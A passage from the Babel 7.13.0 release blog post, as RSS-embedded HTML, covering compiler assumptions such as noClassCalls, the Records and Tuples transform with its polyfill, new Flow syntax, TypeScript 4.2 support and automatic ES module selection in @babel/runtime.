<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>This is <strong>advanced</strong> functionality. Like the previous <code>loose</code> option, please be careful when enabling assumptions, because they are <em>not</em> spec-compliant and may break your code in unexpected ways.</p></div></div>
<p>For example, when transforming classes, Babel will generate this output by default:</p>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Test</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// You can test the thrown error in the console:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Uncaught TypeError: class constructors must be invoked with 'new'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">_classCallCheck</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">instance</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter maybe-class-name" style="color:#f5871f">Constructor</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token operator">!</span><span class="token punctuation">(</span><span class="token plain">instance </span><span class="token keyword" style="color:#8959a8">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Constructor</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">TypeError</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Cannot call a class as a function"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token function-variable function maybe-class-name" style="color:#4271ae">Test</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">_classCallCheck</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token maybe-class-name">Test</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// You can test the thrown error in the console:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Uncaught TypeError: class constructors must be invoked with 'new'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>However, enabling the <code>noClassCalls</code> assumption tells Babel "I'm never trying to call classes without <code>new</code>, so you can compile without worrying about it":</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JSON</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"firefox 30"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"assumptions"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token property">"noClassCalls"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Test</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Won't throw since we violated the assumption</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> </span><span class="token function-variable function maybe-class-name" style="color:#4271ae">Test</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">x</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Won't throw since we violated the assumption</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token function maybe-class-name" style="color:#4271ae">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>Check out the full list of assumptions <a href="https://babeljs.io/assumptions" target="_blank" rel="noopener noreferrer" class="">over in our documentation</a>, where you can individually enable or disable them to see how they affect the compiled output.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="records-and-tuples-support-12145">Records and Tuples support (<a href="https://github.com/babel/babel/pull/12145" target="_blank" rel="noopener noreferrer" class="">#12145</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#records-and-tuples-support-12145" class="hash-link" aria-label="Direct link to records-and-tuples-support-12145" title="Direct link to records-and-tuples-support-12145" translate="no">​</a></h3>
<p>Thanks to a collaboration with <a href="https://www.techatbloomberg.com/" target="_blank" rel="noopener noreferrer" class="">Bloomberg</a>, Babel now supports transforming the <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer" class="">"Records and Tuples" stage 2 proposal</a>.</p>
<p>The Babel plugin transforms records and tuples syntax using the global <code>Record</code> and <code>Tuple</code> functions:</p>
<table style="width:100%;display:table;table-layout:fixed"><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> data </span><span class="token operator">=</span><span class="token plain"> #</span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">ids</span><span class="token operator">:</span><span class="token plain"> #</span><span class="token punctuation">[</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td><td><div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> data </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Record</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"Babel"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token literal-property property">ids</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:#4271ae">Tuple</span><span class="token punctuation">(</span><span class="token number" style="color:#f5871f">1</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">3</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>This means that you will need to load a polyfill for those global functions, such as <a href="https://www.npmjs.com/package/@bloomberg/record-tuple-polyfill" target="_blank" rel="noopener noreferrer" class=""><code>@bloomberg/record-tuple-polyfill</code></a>, either by importing it in your code or with a <code>&lt;script&gt;</code> tag:</p>
<div class="language-html codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-html codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token tag punctuation" style="color:#c82829">&lt;</span><span class="token tag" style="color:#c82829">script</span><span class="token tag" style="color:#c82829"> </span><span class="token tag attr-name" style="color:#4271ae">src</span><span class="token tag attr-value punctuation attr-equals" style="color:#f5871f">=</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag attr-value" style="color:#f5871f">https://unpkg.com/@bloomberg/record-tuple-polyfill@0.0.3/lib/index.umd.js</span><span class="token tag attr-value punctuation" style="color:#f5871f">"</span><span class="token tag" style="color:#c82829"> </span><span class="token tag punctuation" style="color:#c82829">/&gt;</span><br></span></code></pre></div></div>
<blockquote>
<p><strong>NOTE</strong>: No engine currently supports records and tuples, so you always need to load the polyfill.</p>
</blockquote>
<p>In order to enable this transform, you need to add <code>@babel/plugin-proposal-record-and-tuple</code> to your configuration.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="new-flow-features-12193-12234">New Flow features (<a href="https://github.com/babel/babel/pull/12193" target="_blank" rel="noopener noreferrer" class="">#12193</a>, <a href="https://github.com/babel/babel/pull/12234" target="_blank" rel="noopener noreferrer" class="">#12234</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#new-flow-features-12193-12234" class="hash-link" aria-label="Direct link to new-flow-features-12193-12234" title="Direct link to new-flow-features-12193-12234" translate="no">​</a></h3>
<p>Babel 7.13.0 has support for two new Flow features:</p>
<ul>
<li class="">
<p><code>this</code> type annotation in functions, that allow you to specify the type of the <code>this</code> object as if it was a parameter</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getPerson</span><span class="token punctuation">(</span><span class="token parameter keyword" style="color:#8959a8">this</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter maybe-class-name" style="color:#f5871f">Database</span><span class="token parameter punctuation" style="color:#f5871f">,</span><span class="token parameter" style="color:#f5871f"> </span><span class="token parameter literal-property property" style="color:#f5871f">id</span><span class="token parameter operator" style="color:#f5871f">:</span><span class="token parameter" style="color:#f5871f"> string</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token maybe-class-name">Person</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">this</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">instanceof</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Database</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
</li>
<li class="">
<p><code>enum</code> declarations with unknown members</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">enum</span><span class="token plain"> </span><span class="token maybe-class-name">PetKind</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Dog</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Cat</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token maybe-class-name">Snake</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token spread operator">...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-42-support-12628">TypeScript 4.2 support (<a href="https://github.com/babel/babel/pull/12628" target="_blank" rel="noopener noreferrer" class="">#12628</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#typescript-42-support-12628" class="hash-link" aria-label="Direct link to typescript-42-support-12628" title="Direct link to typescript-42-support-12628" translate="no">​</a></h3>
<p><a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-2-rc/" target="_blank" rel="noopener noreferrer" class="">TypeScript 4.2</a> supports some new syntax features such as abstract constructor signatures.</p>
<p>You can read more about the changes in <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-2-beta/" target="_blank" rel="noopener noreferrer" class="">the TypeScript release post</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="automatic-es-modules-in-babelruntime-12632">Automatic ES modules in <code>@babel/runtime</code> (<a href="https://github.com/babel/babel/pull/12632" target="_blank" rel="noopener noreferrer" class="">#12632</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#automatic-es-modules-in-babelruntime-12632" class="hash-link" aria-label="Direct link to automatic-es-modules-in-babelruntime-12632" title="Direct link to automatic-es-modules-in-babelruntime-12632" translate="no">​</a></h3>
<p><code>@babel/runtime</code> contains all of the Babel runtime helpers in both CommonJS and ECMAScript module formats.</p>
<p>Until now, you had to manually choose which one you wanted to use, specifying the <code>useESModules</code> option of <code>@babel/plugin-transform-runtime</code>.</p>
<p>We have now reorganized <code>@babel/runtime</code>'s internal structure, leveraging the new <a href="https://nodejs.org/api/packages.html#packages_package_entry_points" target="_blank" rel="noopener noreferrer" class=""><code>"exports"</code></a> <code>package.json</code> field supported by Node.js and bundlers, so that they are able to automatically choose between CJS and ESM.</p>
<p>For this reason, the <code>useESModules</code> option is now deprecated and will be removed in Babel 8.</p>]]></content:encoded>
        </item>
    </channel>
</rss>